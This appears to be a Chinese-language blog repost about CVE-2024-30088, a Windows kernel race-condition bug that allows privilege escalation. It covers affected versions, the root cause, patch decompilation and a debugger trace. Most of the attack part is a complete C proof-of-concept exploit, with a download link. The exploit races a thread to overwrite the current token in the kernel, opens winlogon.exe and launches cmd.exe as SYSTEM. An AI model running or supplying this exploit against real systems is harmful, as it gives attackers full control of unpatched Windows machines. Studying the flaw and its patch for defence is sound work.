CVE-2024-30088 Windows内核提权漏洞 poc

CVE-2024-30088漏洞简介

该漏洞存在于 NtQueryInformationToken 函数中,特别是在处理AuthzBasepCopyoutInternalSecurityAttributes 函数时,该漏洞源于内核在操作对象时对锁定机制的不当管理,这一失误可能导致恶意实体意外提升权限。

该漏洞由越南安全研究员 Bùi Quang Hiếu(在网络圈中以@tykawaii98著称)详细介绍,它允许攻击者利用内核中的 SecurityAttributesList 直接操纵用户提供的指针。这种危险行为会导致多个检查时间到使用时间 (TOCTOU) 漏洞,恶意线程可以在调用 RtlCopyUnicodeString 函数之前更改属性名称的缓冲区指针。此类操纵使攻击者能够使用受控的值和大小写入任意地址。

该发现最初归功于 Emma Kirkpatrick(@carrot_c4k3)与趋势科技零日计划合作,微软在其 2024 年 6 月的安全更新中解决了该问题。

影响范围

版本号供应商起始版本结束版本
Windows_10_1507微软*10.0.10240.20680 (不包括)
Windows_10_1607微软*10.0.14393.7070 (不包括)
Windows_10_1809微软*10.0.17763.5936 (不包括)
Windows_10_21h2微软*10.0.19044.4529 (不包括)
Windows_10_22h2微软*10.0.19045.4529 (不包括)
Windows_11_21h2微软*10.0.22000.3019 (不包括)
Windows_11_22h2微软*10.0.22621.3737 (不包括)
Windows_11_23h2微软*10.0.22631.3737 (不包括)
Windows_server_2016微软*10.0.14393.7070 (不包括)
Windows_server_2019微软*10.0.17763.5936 (不包括)
Windows_server_2022微软*10.0.20348.2522 (不包括)
Windows_server_2022_23h2微软*10.0.25398.950 (不包括)

成功利用此漏洞的攻击者可以获得哪些权限?

成功利用此漏洞的攻击者可以获得 SYSTEM 权限。

根据 CVSS 指标,攻击复杂度较高 (AC:H)。这对于此漏洞意味着什么?

CVSS:3.1 7.0 / 6.3
基本分数指标:7.0 / 时间分数指标:6.3

成功利用此漏洞需要攻击者赢得竞争条件。

漏洞详情

当内核将当前令牌对象的_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION复制到用户模式时,函数AuthzBasepCopyoutInternalSecurityAttributes中存在错误,其结构如下

//0x30 bytes (sizeof)
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
{
    ULONG SecurityAttributeCount;                                           //0x0
    struct _LIST_ENTRY SecurityAttributesList;                              //0x8
    ULONG WorkingSecurityAttributeCount;                                    //0x18
    struct _LIST_ENTRY WorkingSecurityAttributesList;                       //0x20
}; 
  • 在执行复制 SecurityAttributesList 时内核直接将 SecurityAttribute 结构列表设置为用户提供的指针。之后,它调用RtlCopyUnicodeStringAuthzBasepCopyoutInternalSecurityAttributeValues函数复制出 SecurityAttribute 结构的名称和值,导致此函数中有多个 TOCTOU。
  • 在调用RtlCopyUnicodeString之前,使用一个简单的竞争线程来修改属性名称的缓冲区指针[*],我可以轻松地实现一个具有固定值和大小控制的任意地址写入。
CVE-2024-30088 Windows内核提权漏洞 poc
  • 请注意,还有一些其他方法可以利用它,但就我而言,我选择使用RtlCopyUnicodeString

触发漏洞:

  • 通过使用TokenAccesInformation类调用NtQueryInformationToken可以轻松触发此错误。

补丁:

  • 如果系统调用来自用户模式,则补丁程序使用内核堆栈上的局部变量(下面代码块中的v18)作为缓冲区来复制安全属性的名称,然后再写回用户缓冲区。
    [...]
        p_SecurityAttributesList = &a1->SecurityAttributesList;
        Flink = a1->SecurityAttributesList.Flink;
        if ( Flink == p_SecurityAttributesList )
          return (unsigned int)inserted;
        v13 = a2 + 0x98;
        while ( 1 )
        {
          if ( (unsigned int)Feature_2516935995__private_IsEnabledDeviceUsage() )
          {
            inserted = AuthzBasepProbeAndInsertTailList(a2 + 8, v13 - 0x68);
            if ( inserted < 0 )
              goto LABEL_24;
          }
          else
          {
            [...]
          }
          ++*(_DWORD *)a2;
          *(_WORD *)(v13 - 56) = Flink[3].Flink;
          *(_DWORD *)(v13 - 52) = HIDWORD(Flink[3].Flink);
          *(_QWORD *)(v13 - 24) = v13 - 32;
          *(_QWORD *)(v13 - 32) = v13 - 32;
          *(_QWORD *)v13 = v13 - 8;
          *(_QWORD *)(v13 - 8) = v13 - 8;
          *(_QWORD *)(v13 - 48) = 0i64;
          *(_DWORD *)(v13 - 40) = 0;
          *(_DWORD *)(v13 - 16) = 0;
          Flink_low = LOWORD(Flink[2].Flink);
          v19 = Flink_low;
          v17 = (wchar_t *)((v10 + 1) & 0xFFFFFFFFFFFFFFFEui64);
          v15 = (unsigned __int64)v17 + Flink_low;
          if ( (unsigned __int64)v17 + Flink_low > v6 )
            break;
          if ( (unsigned int)Feature_3391791421__private_IsEnabledDeviceUsage() )
          {
            *(_QWORD *)&v18.Length = 0i64;
            v18.MaximumLength = Flink_low;
            v18.Buffer = v17;
            RtlCopyUnicodeString(&v18.Length, (unsigned __int16 *)&Flink[2]);
            *(_UNICODE_STRING *)(v13 - 0x48) = v18;
          }
          else
          {
            [...]
          }
          inserted = AuthzBasepCopyoutInternalSecurityAttributeValues(
                       (__int64)Flink,
                       v13 - 104,
                       v15,
                       (int)v6 - (int)v15,
                       &v19);
    [...]

在调试会话中,我们可以看到rcx是补丁后的内核地址:

5: kd> 
nt!AuthzBasepCopyoutInternalSecurityAttributes+0x1aa:
fffff803`5dbcf14a e8810fa5ff      call    nt!RtlCopyUnicodeString (fffff803`5d6200d0)
5: kd> r
rax=0000025a81d006a0 rbx=0000025a81d00590 rcx=ffffe20697c4f778
rdx=ffffa609c7a101a0 rsi=0000025a81d00598 rdi=0000025a81d00628
rip=fffff8035dbcf14a rsp=ffffe20697c4f740 rbp=0000025a81d006c0
 r8=0000000000000003  r9=0000025a81d00590 r10=ffffa609c816ef78
r11=ffffe20697c4f7d0 r12=0000000000000a70 r13=ffffa609ca9b1118
r14=ffffa609c7a10180 r15=0000025a81d01000
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
nt!AuthzBasepCopyoutInternalSecurityAttributes+0x1aa:
fffff803`5dbcf14a e8810fa5ff      call    nt!RtlCopyUnicodeString (fffff803`5d6200d0)

微软官方公告

https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-30088

CVE-2024-30088 POC

#include <Windows.h>
#include <stdio.h>
#include "ex.h"


///
// Helper stuff for kernel R/W using Nt(Read/Write)VirtualMemory
//

#pragma comment(lib, "ntdll.lib")

#define OFFSET_PID 0x440
#define OFFSET_PROCESS_LINKS 0x448
#define OFFSET_TOKEN 0x4b8
#define OFFSET_KPROCESS 0x220

typedef NTSTATUS(*pNtWriteVirtualMemory)(
	IN HANDLE               ProcessHandle,
	IN PVOID                BaseAddress,
	IN PVOID                Buffer,
	IN ULONG                NumberOfBytesToWrite,
	OUT PULONG              NumberOfBytesWritten OPTIONAL
	);

typedef NTSTATUS(*pNtReadVirtualMemory)(
	IN HANDLE               ProcessHandle,
	IN PVOID                BaseAddress,
	OUT PVOID               Buffer,
	IN ULONG                NumberOfBytesToRead,
	OUT PULONG              NumberOfBytesReaded OPTIONAL)
	;

typedef NTSTATUS NtQueryInformationToken(
	HANDLE                  TokenHandle,
	TOKEN_INFORMATION_CLASS TokenInformationClass,
	PVOID                   TokenInformation,
	ULONG                   TokenInformationLength,
	PULONG                  ReturnLength
);

typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
{
	ULONG SecurityAttributeCount;                                           //0x0
	struct _LIST_ENTRY SecurityAttributesList;                              //0x4
	ULONG WorkingSecurityAttributeCount;                                    //0xc
	struct _LIST_ENTRY WorkingSecurityAttributesList;                       //0x10
} AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION, *PAUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION;

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

//
// Global vars
//
NtQueryInformationToken* pQueryInfoToken = 0;
HANDLE hToken;
BYTE* TokenInfo = 0;
DWORD Infolen = 0x1000;
DWORD retlen = 0;
DWORD OffsetToName = 0;
BYTE* RaceAddr = 0;
ULONGLONG kTokenAddr = 0;

void RaceThread() {
	ULONGLONG value = kTokenAddr + 0x40 - 4;
	for (int i = 0; i < 0x10000; i++) {
		*(WORD*)(RaceAddr + 2) = 2;
		*(ULONGLONG*)(RaceAddr + 8) = value;
	}	
}

int main() {
	HMODULE ntdll = GetModuleHandleA("ntdll");
	pQueryInfoToken = (NtQueryInformationToken*)GetProcAddress(ntdll, "NtQueryInformationToken");

	OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
	kTokenAddr = (ULONGLONG)GetKernelPointerByHandle(hToken);
	printf("hToken: %x, kTokenAddr: %p\n", hToken, kTokenAddr);

	getchar();


	TokenInfo = (BYTE*)VirtualAlloc(0, Infolen, MEM_COMMIT, PAGE_READWRITE);
	if (!TokenInfo)
		return -1;

	NTSTATUS status = pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);

	if (status == 0) {
		_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes = (_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION*)((_TOKEN_ACCESS_INFORMATION*)TokenInfo)->SecurityAttributes;
		if (pSecurityAttributes->SecurityAttributeCount) {
			BYTE* Flink = (BYTE*)pSecurityAttributes->SecurityAttributesList.Flink;
			if (Flink) {
				OffsetToName = Flink + 0x20 - TokenInfo;
				printf("Found target offset value: 0x%x\n", OffsetToName);
			}
		}
	}

	if (!OffsetToName)
		return -1;

	RaceAddr = TokenInfo + OffsetToName;
	printf("Target address = 0x%llx\n", RaceAddr);
	//getchar();

	HANDLE hWinLogon = INVALID_HANDLE_VALUE;
	ULONG pid = GetPidByName(L"winlogon.exe");
	while(1) {
		HANDLE h = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)RaceThread, 0, 0, 0);
		SetThreadPriority(h, THREAD_PRIORITY_TIME_CRITICAL);

		//DebugBreak();
		for (int i = 0; i < 5000; i++)
			pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);

		WaitForSingleObject(h, INFINITE);

		hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
		if (hWinLogon)
			break;
	}
	
	printf("Got Winlogon handle: 0x%x\n", hWinLogon);
	getchar();

	CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe");

	CloseHandle(hWinLogon);
	CloseHandle(hToken);

	return 0;
}

poc下载地址

GitHub:
https://github.com/tykawaii98/CVE-2024-30088/archive/refs/heads/main.zip

视频演示

截图

提权前

CVE-2024-30088 Windows内核提权漏洞 poc

提权中…

CVE-2024-30088 Windows内核提权漏洞 poc

提权后

CVE-2024-30088 Windows内核提权漏洞 poc
CVE-2024-30088 Windows内核提权漏洞 poc

注意事项

提权因为需要条件竞争,所以需要耐心等待一会.

转载请注明出处及链接

Leave a Reply

您的邮箱地址不会被公开。 必填项已用 * 标注